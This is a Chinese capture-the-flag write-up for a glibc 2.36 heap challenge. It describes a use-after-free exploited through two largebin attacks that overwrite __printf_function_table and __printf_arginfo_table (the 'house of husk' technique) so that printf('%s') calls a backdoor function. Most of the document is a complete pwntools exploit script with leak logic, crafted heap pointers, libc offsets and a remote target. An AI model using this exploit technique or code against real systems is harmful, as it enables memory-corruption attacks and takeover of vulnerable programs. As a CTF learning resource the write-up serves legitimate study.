glibc 2.36,程序本身没开PIE

逻辑比较简单,传统菜单题,rm的时候存在UAF

add限制大小为 [0x500, 0x900]

只能打largebin attack

同时check_io中会检查libc中的stdin/stdout/stderr指针是否与bss上存着的相同,不相同直接_exit,也就是说我们没法篡改这几个指针

同时程序不存在正常退出的逻辑,只会_exit,也就是打_IO_list_all 也不行

此时由于程序中存在printf,且题目名称已经给出了提示,我在各种资料中一番查找后,发现house of husk似乎是可行的

通过两次largebin attack修改__printf_function_table__printf_arginfo_table 为堆地址,并在对应堆块 (ord('s') - 2) * 8 偏移处放下后门函数地址

后面调用printf("%s")时就会触发后门函数执行

import os
import sys
import time
import ctypes
from pwn import *

def interrupt(io):
    if IN_DEBUG:
        gdb.attach(io, gdb_args)

def tob(a):
    if isinstance(a, str):
        return bytes(a,encoding="latin1")
    elif isinstance(a,bytes) or isinstance(a,bytearray):
        return a
    else:
        return bytes(str(a),encoding="latin1")

def main():
    global IN_DEBUG, gdb_args, pwn_elf, libc, libc_exec
    IN_DEBUG = False
    libc_path = "/usr/lib/glibc/2.36-0ubuntu4_amd64/libc.so.6"
    elf_path = "./pwn"

    gdb_args = '''
    # b *0x4013C5
    '''

    if sys.argv[1] == "a":
        context.log_level = "error"
    else:
        context.log_level = "info"

    context.log_level = "debug"

    context.terminal = ["tmux","splitw","-h"]
    context.binary = elf_path
    libc = ELF(libc_path)
    # libc_exec = ctypes.cdll.LoadLibrary(libc_path)
    pwn_elf = ELF(elf_path)
    if sys.argv[1] in ["d", "m", "l", "r"]:
        cnt = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    elif sys.argv[1] in ["a"]:
        cnt = int(sys.argv[4]) if len(sys.argv) > 4 else 1
    success(f"Total rounds: {cnt}")
    while cnt != 0:
        if len(sys.argv) == 1 or sys.argv[1] == "d":
            io = gdb.debug(context.binary.path, gdb_args)#, env={"LD_PRELOAD":libc_path})
        elif sys.argv[1] == "m":
            io = process(context.binary.path)
            IN_DEBUG = True
        elif sys.argv[1] == "l":
            io = process(context.binary.path)
        elif sys.argv[1] == "a":
            if isinstance(sys.argv[3],int):
                io = remote(sys.argv[2],sys.argv[3])
            elif isinstance(sys.argv[3],str) or isinstance(sys.argv[3],bytes):
                io = remote(sys.argv[2],int(sys.argv[3]))
        elif sys.argv[1] == "r":
            io = remote("10.1.112.102", 10001)
        try:
            success(f"Round left: {cnt}")
            pwn(io)
        except EOFError:
            io.close()
            cnt -= 1
            continue
        success("Done")
        break

def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0):
    payload = p64(part1)    # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += p64(0)    # rbx be 0x0
    payload += p64(1)    # rbp be 0x1
    payload += p64(jmp2)    # r12 jump to
    payload += p64(arg3)    # r13 -> rdx    arg3
    payload += p64(arg2)    # r14 -> rsi    arg2
    payload += p64(arg1)    # r15 -> edi    arg1
    payload += p64(part2)    # part2 entry will call [r12 + rbx * 0x8]
    payload += b'A' * 56    # junk 6 * 8 + 8 = 56
    return payload

def menu(io: tube, v: int):
    io.sendlineafter(b"4. Show note\\n>", tob(v))

def add(io: tube, idx: int, size: int):
    menu(io, 1)
    io.sendlineafter(b"Index: ", tob(idx))
    io.sendlineafter(b"Size: ", tob(size))

def rm(io: tube, idx: int):
    menu(io, 2)
    io.sendlineafter(b"Index: ", tob(idx))

def edit(io: tube, idx: int, data: bytes):
    menu(io, 3)
    io.sendlineafter(b"Index: ", tob(idx))
    io.sendafter(b"Content: ", tob(data))

def show(io: tube, idx: int, need_output=True):
    menu(io, 4)
    io.sendlineafter(b"Index: ", tob(idx))
    if need_output:
        io.recvuntil(b"Content: ")
        return io.recvline()[:-1]

def pwn(io: tube):

    add(io, 0, 0x600)
    add(io, 1, 0x600)
    add(io, 2, 0x600)
    add(io, 3, 0x600)
    rm(io, 0)
    rm(io, 2)
    heap_addr = u64(show(io, 2).ljust(8, b'\\0'))
    success(f"heap: {hex(heap_addr)}")
    rm(io, 1)
    rm(io, 3)

    add(io, 1, 0x528) # p1
    add(io, 0, 0x500) # 0 is for padding
    add(io, 2, 0x518) # p2
    add(io, 0, 0x500) # 0 is for padding
    rm(io, 1)
    libc.address = u64(show(io, 1) + b'\\0\\0') - 0x1f6cc0
    success(f"libc: {hex(libc.address)}")
    add(io, 3, 0x538) # p3
    rm(io, 2)
    target1 = libc.address + 0x1f8980 # __printf_function_table
    payload = flat(
        libc.address + 0x1f70f0,
        libc.address + 0x1f70f0,
        heap_addr,
        target1 - 0x20,
    )
    edit(io, 1, payload)
    add(io, 4, 0x538)
    payload = flat(
        [0]*(ord('s') - 2),
        0x4011D6
    )
    edit(io, 2, payload)

    add(io, 1, 0x628) # p1
    add(io, 0, 0x600) # 0 is for padding
    add(io, 2, 0x618) # p2
    add(io, 0, 0x600) # 0 is for padding
    rm(io, 1)
    add(io, 3, 0x638) # p3
    rm(io, 2)
    target2 = libc.address + 0x1f7890 # __printf_arginfo_table
    payload = flat(
        libc.address + 0x1f7130,
        libc.address + 0x1f7130,
        heap_addr,
        target2 - 0x20,
    )
    edit(io, 1, payload)
    add(io, 4, 0x638)

    interrupt(io)
    context.log_level = "debug"
    show(io, 1, False)

    io.interactive()

if __name__ == "__main__":
    main()